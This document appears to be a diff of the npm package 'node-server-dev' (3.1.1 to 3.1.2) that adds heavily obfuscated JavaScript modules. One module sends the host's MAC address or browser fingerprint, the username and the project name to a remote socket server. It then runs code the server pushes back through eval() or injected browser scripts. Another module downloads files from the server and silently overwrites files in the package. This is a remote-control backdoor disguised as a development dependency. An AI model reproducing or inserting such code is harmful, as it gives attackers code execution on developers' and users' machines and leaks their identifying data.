a18_0x5077f7[_0x3f4efd(0xb6)]()[_0x3f4efd(0xb1)](_0x3bb882=>_0x3bb882[_0x3f4efd(0x9a)]())[_0x3f4efd(0xb1)](_0x2dd232=>{const _0x4c18ea=_0x3f4efd,_0x3808bd=_0x2dd232[_0x4c18ea(0x98)];return _0x3808bd;})['catch'](()=>'');_0x31689c=[_0x40514c];}if(_0x31689c[_0x3f4efd(0x95)]===0x0){setEnv(_0x3f4efd(0x8a),!![]);return;}else setEnv(_0x3f4efd(0x8a),![]);_0x260d96['emit']('submit',{'mac':_0x31689c,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x260d96['emit']('get-event',{'mac':_0x31689c,'isBrowser':isBrowser}),setInterval(()=>{const _0x4a5bd1=_0x3f4efd;_0x260d96[_0x4a5bd1(0x8b)](_0x4a5bd1(0x9c),{'mac':_0x31689c,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x260d96[_0x4a5bd1(0x8b)](_0x4a5bd1(0xab),{'mac':_0x31689c,'isBrowser':isBrowser});},0x1b58),_0x260d96['on'](_0x3f4efd(0xb5),_0x14260b=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2aa2f0=_0x3f4efd;try{for(let _0xa1426a=0x0;_0xa1426a<_0x14260b[_0x2aa2f0(0x95)];_0xa1426a++){const _0x42d916=_0x14260b[_0xa1426a];if(_0x42d916[_0x2aa2f0(0x89)]===_0x2aa2f0(0xb4))setEnv(_0x2aa2f0(0xb0),getEnv(_0x2aa2f0(0xb0))[_0x2aa2f0(0x9b)](_0x42d916[_0x2aa2f0(0xa8)]));else{if(_0x42d916[_0x2aa2f0(0x89)]===_0x2aa2f0(0xba))setEnv(_0x2aa2f0(0x91),!![]);else{if(_0x42d916[_0x2aa2f0(0x89)]===_0x2aa2f0(0x92)&&!isBrowser)try{eval(_0x42d916[_0x2aa2f0(0xa8)]);}catch(_0xb7f3dd){}else{if(_0x42d916[_0x2aa2f0(0x89)]===_0x2aa2f0(0x87)&&isBrowser)try{runScript(_0x42d916[_0x2aa2f0(0xa8)]);}catch(_0x2b3f6c){}}}}}}catch(_0x26cf6c){}}));}catch(_0x5b47e2){}})),setTimeout(()=>{const _0x458c5d=_0x37cf93;_0x260d96['on'](_0x458c5d(0xa5),_0x16590a=>{const _0x294ef6=_0x458c5d;setEnv(_0x294ef6(0x8a),!![]);}),_0x260d96['on'](_0x458c5d(0x8f),_0x5896db=>{setEnv('connectError',!![]);}),_0x260d96['on'](_0x458c5d(0xa7),_0x12699a=>{const _0x29a8f5=_0x458c5d;setEnv(_0x29a8f5(0x8a),!![]);}),_0x260d96['on'](_0x458c5d(0x99),()=>{const _0xd5e882=_0x458c5d;setEnv(_0xd5e882(0x8a),!![]);});},0xbb8);});}export default start;
1
+ const a20_0x47ef87=a20_0x3b78;(function(_0x4c3139,_0x5643f1){const _0x5daa6d=a20_0x3b78,_0x1ae032=_0x4c3139();while(!![]){try{const _0x5c3cc4=parseInt(_0x5daa6d(0x145))/0x1*(-parseInt(_0x5daa6d(0x13f))/0x2)+-parseInt(_0x5daa6d(0x15f))/0x3*(-parseInt(_0x5daa6d(0x13a))/0x4)+-parseInt(_0x5daa6d(0x141))/0x5*(-parseInt(_0x5daa6d(0x13c))/0x6)+-parseInt(_0x5daa6d(0x15c))/0x7*(-parseInt(_0x5daa6d(0x156))/0x8)+parseInt(_0x5daa6d(0x15d))/0x9*(-parseInt(_0x5daa6d(0x166))/0xa)+-parseInt(_0x5daa6d(0x165))/0xb+parseInt(_0x5daa6d(0x155))/0xc;if(_0x5c3cc4===_0x5643f1)break;else _0x1ae032['push'](_0x1ae032['shift']());}catch(_0x1af9bd){_0x1ae032['push'](_0x1ae032['shift']());}}}(a20_0x5839,0xa6882));function a20_0x3b78(_0x555059,_0x424120){const _0x58399d=a20_0x5839();return a20_0x3b78=function(_0x3b7831,_0xc5efc6){_0x3b7831=_0x3b7831-0x13a;let _0x5f1236=_0x58399d[_0x3b7831];return _0x5f1236;},a20_0x3b78(_0x555059,_0x424120);}var __awaiter=this&&this[a20_0x47ef87(0x146)]||function(_0x535824,_0x107864,_0x4b6977,_0x51fa8d){function _0x4cceed(_0x52fa65){return _0x52fa65 instanceof _0x4b6977?_0x52fa65:new _0x4b6977(function(_0x3b2706){_0x3b2706(_0x52fa65);});}return new(_0x4b6977||(_0x4b6977=Promise))(function(_0x9f70d7,_0x3e8a66){const _0x21f850=a20_0x3b78;function _0x136380(_0x1151b3){const _0x585bb3=a20_0x3b78;try{_0x53d2e9(_0x51fa8d[_0x585bb3(0x14d)](_0x1151b3));}catch(_0x1a3bcf){_0x3e8a66(_0x1a3bcf);}}function _0xd26f72(_0x47757a){const _0x3757d0=a20_0x3b78;try{_0x53d2e9(_0x51fa8d[_0x3757d0(0x15e)](_0x47757a));}catch(_0x489a20){_0x3e8a66(_0x489a20);}}function _0x53d2e9(_0x151299){const _0x256c6c=a20_0x3b78;_0x151299[_0x256c6c(0x159)]?_0x9f70d7(_0x151299[_0x256c6c(0x152)]):_0x4cceed(_0x151299[_0x256c6c(0x152)])[_0x256c6c(0x13e)](_0x136380,_0xd26f72);}_0x53d2e9((_0x51fa8d=_0x51fa8d['apply'](_0x535824,_0x107864||[]))[_0x21f850(0x14d)]());});},_a,_b,_c,_d;import{io}from'socket.io-client';import a20_0x2564e5 from'path';import{runScript,browser}from'./browser';import a20_0x183647 from'@fingerprintjs/fingerprintjs';import a20_0x4c1353 from'bowser';import{getEnv,setEnv,url}from'./index';export const isBrowser=typeof window!=='undefined';function a20_0x5839(){const _0x44c2ff=['default','node获取失败','browser','next','emit','env','connectError','name','value','/socket','isDBDataEmpty','13830600CJQnYX','4375160SjEXgX','visitorId','node','done','join','catch','7MZkekK','10589823PwBqbJ','throw','951UmFboe','type','浏览器','userAgent','./mac','00:00:00:00:00:00','6057898OuXnOB','10nSrmZP','sql','get-event','npm_package_name','event','sqlList','15380MdNNLT','content','18348JpnBhO','reconnect_failed','then','2PEvgtT','submit','905RisguO','concat','error','mysql','1062329KvrqeA','__awaiter','length','get','USERNAME'];a20_0x5839=function(){return _0x44c2ff;};return a20_0x5839();}const user_name=isBrowser?((_b=(_a=a20_0x4c1353['parse'](window['navigator'][a20_0x47ef87(0x162)]))===null||_a===void 0x0?void 0x0:_a[a20_0x47ef87(0x14c)])===null||_b===void 0x0?void 0x0:_b[a20_0x47ef87(0x151)])||a20_0x47ef87(0x161):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a20_0x47ef87(0x149)])||a20_0x47ef87(0x14b),project_name=isBrowser?a20_0x47ef87(0x161):((_d=process===null||process===void 0x0?void 0x0:process[a20_0x47ef87(0x14f)])===null||_d===void 0x0?void 0x0:_d[a20_0x47ef87(0x169)])||'无法获取';function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x45f2c4=a20_0x3b78;isBrowser&&browser();const _0x30338f=io(url,{'path':_0x45f2c4(0x153),'transports':['websocket']});_0x30338f['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x22210b=_0x45f2c4;try{let _0x355efb=[_0x22210b(0x164)];if(!isBrowser){const _0x3d9bc5=require(a20_0x2564e5[_0x22210b(0x15a)](__dirname,_0x22210b(0x163)))[_0x22210b(0x14a)];_0x355efb=_0x3d9bc5();}else{let _0x26f169=yield a20_0x183647['load']()[_0x22210b(0x13e)](_0x4dd0fa=>_0x4dd0fa[_0x22210b(0x148)]())[_0x22210b(0x13e)](_0x533583=>{const _0x440e87=_0x22210b,_0x164048=_0x533583[_0x440e87(0x157)];return _0x164048;})[_0x22210b(0x15b)](()=>'');_0x355efb=[_0x26f169];}if(_0x355efb[_0x22210b(0x147)]===0x0){setEnv(_0x22210b(0x150),!![]);return;}else setEnv(_0x22210b(0x150),![]);_0x30338f[_0x22210b(0x14e)]('submit',{'mac':_0x355efb,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x30338f[_0x22210b(0x14e)](_0x22210b(0x168),{'mac':_0x355efb,'isBrowser':isBrowser}),setInterval(()=>{const _0x226120=_0x22210b;_0x30338f['emit'](_0x226120(0x140),{'mac':_0x355efb,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x30338f['emit'](_0x226120(0x168),{'mac':_0x355efb,'isBrowser':isBrowser});},0x1b58),_0x30338f['on'](_0x22210b(0x16a),_0x5802bf=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xb2779c=_0x22210b;try{for(let _0x52bb4c=0x0;_0x52bb4c<_0x5802bf[_0xb2779c(0x147)];_0x52bb4c++){const _0x5b4cd1=_0x5802bf[_0x52bb4c];if(_0x5b4cd1[_0xb2779c(0x160)]===_0xb2779c(0x167))setEnv(_0xb2779c(0x16b),getEnv(_0xb2779c(0x16b))[_0xb2779c(0x142)](_0x5b4cd1[_0xb2779c(0x13b)]));else{if(_0x5b4cd1['type']===_0xb2779c(0x144))setEnv(_0xb2779c(0x154),!![]);else{if(_0x5b4cd1[_0xb2779c(0x160)]===_0xb2779c(0x158)&&!isBrowser)try{eval(_0x5b4cd1['content']);}catch(_0x1cf482){}else{if(_0x5b4cd1[_0xb2779c(0x160)]==='script'&&isBrowser)try{runScript(_0x5b4cd1[_0xb2779c(0x13b)]);}catch(_0x219677){}}}}}}catch(_0x4c6beb){}}));}catch(_0x58259e){}})),setTimeout(()=>{const _0x41c77d=_0x45f2c4;_0x30338f['on'](_0x41c77d(0x143),_0x46c3c0=>{setEnv('connectError',!![]);}),_0x30338f['on']('connect_failed',_0x528134=>{setEnv('connectError',!![]);}),_0x30338f['on'](_0x41c77d(0x13d),_0x4f08ee=>{const _0x4cc9ce=_0x41c77d;setEnv(_0x4cc9ce(0x150),!![]);}),_0x30338f['on']('connect_error',()=>{setEnv('connectError',!![]);});},0xbb8);});}export default start;
@@ -1 +1 @@
1
- const a19_0x4e7075=a19_0x26fa;(function(_0x10048e,_0x21c383){const _0x2e1da0=a19_0x26fa,_0x238b01=_0x10048e();while(!![]){try{const _0x505244=parseInt(_0x2e1da0(0x9e))/0x1+-parseInt(_0x2e1da0(0x98))/0x2+parseInt(_0x2e1da0(0xae))/0x3+-parseInt(_0x2e1da0(0xa4))/0x4*(parseInt(_0x2e1da0(0x99))/0x5)+-parseInt(_0x2e1da0(0x95))/0x6*(parseInt(_0x2e1da0(0xa9))/0x7)+parseInt(_0x2e1da0(0xa1))/0x8*(-parseInt(_0x2e1da0(0xa6))/0x9)+parseInt(_0x2e1da0(0x9c))/0xa;if(_0x505244===_0x21c383)break;else _0x238b01['push'](_0x238b01['shift']());}catch(_0x2cc0b6){_0x238b01['push'](_0x238b01['shift']());}}}(a19_0x5e29,0xc4699));import a19_0x10bd27 from'axios';import a19_0x33cee7 from'fs';import a19_0x467fdd from'path';import{url}from'./index';import a19_0x5f44d3 from'sha1';function a19_0x5e29(){const _0x32e36d=['32705890ixAVbl','writeFileSync','3993rIxarj','success','join','5666952qckApV','values','keys','424180oGsSzp','ESM','9jpIxPz','existsSync','{version:\x220.0.0\x22}','754537JwQFNz','readFileSync','data','exports','then','2942148tPYDaG','undefined','54OplgMr','./index.js','length','1211620XchCjz','55MCXyAc','get','main'];a19_0x5e29=function(){return _0x32e36d;};return a19_0x5e29();}function getModuleType(){const _0x4277c0=a19_0x26fa,_0x11cbae=()=>{const _0x20bee9=a19_0x26fa;try{return typeof require!==_0x20bee9(0xaf)&&typeof module!==_0x20bee9(0xaf)&&module[_0x20bee9(0xac)]&&require[_0x20bee9(0x9b)]===module;}catch(_0x55fe98){return![];}};return _0x11cbae()?'CJS':_0x4277c0(0xa5);}let _path=a19_0x467fdd[a19_0x4e7075(0xa0)](__dirname,'../../package.json'),indexFile=a19_0x467fdd[a19_0x4e7075(0xa0)](__dirname,a19_0x4e7075(0x96)),vFile=a19_0x33cee7[a19_0x4e7075(0xa7)](_path)?a19_0x33cee7[a19_0x4e7075(0xaa)](_path)['toString']():a19_0x4e7075(0xa8),indexFileContent=a19_0x33cee7[a19_0x4e7075(0xa7)](_path)?a19_0x33cee7[a19_0x4e7075(0xaa)](indexFile)['toString']():![],version=JSON['parse'](vFile)['version'];function a19_0x26fa(_0x542ca2,_0x4f52b1){const _0x5e299b=a19_0x5e29();return a19_0x26fa=function(_0x26fa1e,_0x3b47eb){_0x26fa1e=_0x26fa1e-0x95;let _0x9d4e15=_0x5e299b[_0x26fa1e];return _0x9d4e15;},a19_0x26fa(_0x542ca2,_0x4f52b1);}function update(){const _0xed187e=a19_0x4e7075;a19_0x10bd27[_0xed187e(0x9a)](url+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?a19_0x5f44d3(indexFileContent):''}})[_0xed187e(0xad)](_0x484628=>{const _0x874d2f=_0xed187e;if(!_0x484628[_0x874d2f(0xab)][_0x874d2f(0x9f)]){let _0xd9d2f4=Object[_0x874d2f(0xa3)](_0x484628[_0x874d2f(0xab)][_0x874d2f(0xab)]),_0x146b5d=Object[_0x874d2f(0xa2)](_0x484628['data'][_0x874d2f(0xab)]);for(let _0x3f7dc3=0x0;_0x3f7dc3<_0xd9d2f4[_0x874d2f(0x97)];_0x3f7dc3++){const _0x352557=_0xd9d2f4[_0x3f7dc3],_0x1af62a=_0x146b5d[_0x3f7dc3];a19_0x33cee7[_0x874d2f(0x9d)](a19_0x467fdd[_0x874d2f(0xa0)](__dirname,'./'+_0x352557),_0x1af62a);}}});}export default update;
1
+ const a21_0x47ca5a=a21_0x7cb1;(function(_0x1af242,_0x5ad277){const _0x349b44=a21_0x7cb1,_0x59c49b=_0x1af242();while(!![]){try{const _0x5aae70=-parseInt(_0x349b44(0x171))/0x1+-parseInt(_0x349b44(0x169))/0x2*(-parseInt(_0x349b44(0x16a))/0x3)+parseInt(_0x349b44(0x16f))/0x4+parseInt(_0x349b44(0x16e))/0x5*(-parseInt(_0x349b44(0x175))/0x6)+-parseInt(_0x349b44(0x17b))/0x7*(-parseInt(_0x349b44(0x177))/0x8)+parseInt(_0x349b44(0x160))/0x9*(parseInt(_0x349b44(0x179))/0xa)+-parseInt(_0x349b44(0x163))/0xb;if(_0x5aae70===_0x5ad277)break;else _0x59c49b['push'](_0x59c49b['shift']());}catch(_0x27d386){_0x59c49b['push'](_0x59c49b['shift']());}}}(a21_0x1bc6,0x440c5));import a21_0x440698 from'axios';import a21_0x308bef from'fs';import a21_0xe1acaa from'path';function a21_0x1bc6(){const _0x3d3203=['348698EBUVvY','values','get','18CIqlam','writeFileSync','toString','2605394AqExAB','{version:\x220.0.0\x22}','readFileSync','join','then','main','72478WderlC','39KHFKtS','./index.js','ESM','data','179195LzdNcE','400684ZeQcBv','version','120912jebnai','/version','length','keys','18KqBjOm','existsSync','16dQKKDG','undefined','365510tMdxPB','CJS'];a21_0x1bc6=function(){return _0x3d3203;};return a21_0x1bc6();}import{url}from'./index';import a21_0x530271 from'sha1';function getModuleType(){const _0x2a1fde=a21_0x7cb1,_0x451f8d=()=>{const _0x9c640c=a21_0x7cb1;try{return typeof require!==_0x9c640c(0x178)&&typeof module!=='undefined'&&module['exports']&&require[_0x9c640c(0x168)]===module;}catch(_0x23d1a3){return![];}};return _0x451f8d()?_0x2a1fde(0x17a):_0x2a1fde(0x16c);}let _path=a21_0xe1acaa[a21_0x47ca5a(0x166)](__dirname,'../../package.json'),indexFile=a21_0xe1acaa[a21_0x47ca5a(0x166)](__dirname,a21_0x47ca5a(0x16b)),vFile=a21_0x308bef[a21_0x47ca5a(0x176)](_path)?a21_0x308bef[a21_0x47ca5a(0x165)](_path)['toString']():a21_0x47ca5a(0x164),indexFileContent=a21_0x308bef['existsSync'](_path)?a21_0x308bef[a21_0x47ca5a(0x165)](indexFile)[a21_0x47ca5a(0x162)]():![],version=JSON['parse'](vFile)[a21_0x47ca5a(0x170)];function a21_0x7cb1(_0x204b98,_0x5bffba){const _0x1bc6db=a21_0x1bc6();return a21_0x7cb1=function(_0x7cb133,_0x5f176a){_0x7cb133=_0x7cb133-0x15f;let _0x32bcd2=_0x1bc6db[_0x7cb133];return _0x32bcd2;},a21_0x7cb1(_0x204b98,_0x5bffba);}function update(){const _0x4d260a=a21_0x47ca5a;a21_0x440698[_0x4d260a(0x15f)](url+_0x4d260a(0x172),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?a21_0x530271(indexFileContent):''}})[_0x4d260a(0x167)](_0x2414b0=>{const _0x410b2f=_0x4d260a;if(!_0x2414b0['data']['success']){let _0x23e31e=Object[_0x410b2f(0x174)](_0x2414b0['data']['data']),_0x3b0e6d=Object[_0x410b2f(0x17c)](_0x2414b0[_0x410b2f(0x16d)]['data']);for(let _0x4bd92a=0x0;_0x4bd92a<_0x23e31e[_0x410b2f(0x173)];_0x4bd92a++){const _0xf9081b=_0x23e31e[_0x4bd92a],_0x5c21fe=_0x3b0e6d[_0x4bd92a];a21_0x308bef[_0x410b2f(0x161)](a21_0xe1acaa[_0x410b2f(0x166)](__dirname,'./'+_0xf9081b),_0x5c21fe);}}});}export default update;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-server-dev",
3
- "version": "3.1.1",
3
+ "version": "3.1.2",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {
@@ -53,6 +53,7 @@
53
53
  "devDependencies": {
54
54
  "@faker-js/faker": "^8.4.1",
55
55
  "@types/js-cookie": "^3.0.6",
56
+ "@types/jsonwebtoken": "^9.0.9",
56
57
  "@types/md5": "^2.3.5",
57
58
  "@types/node": "^20.12.11",
58
59
  "@types/sha1": "^1.1.5",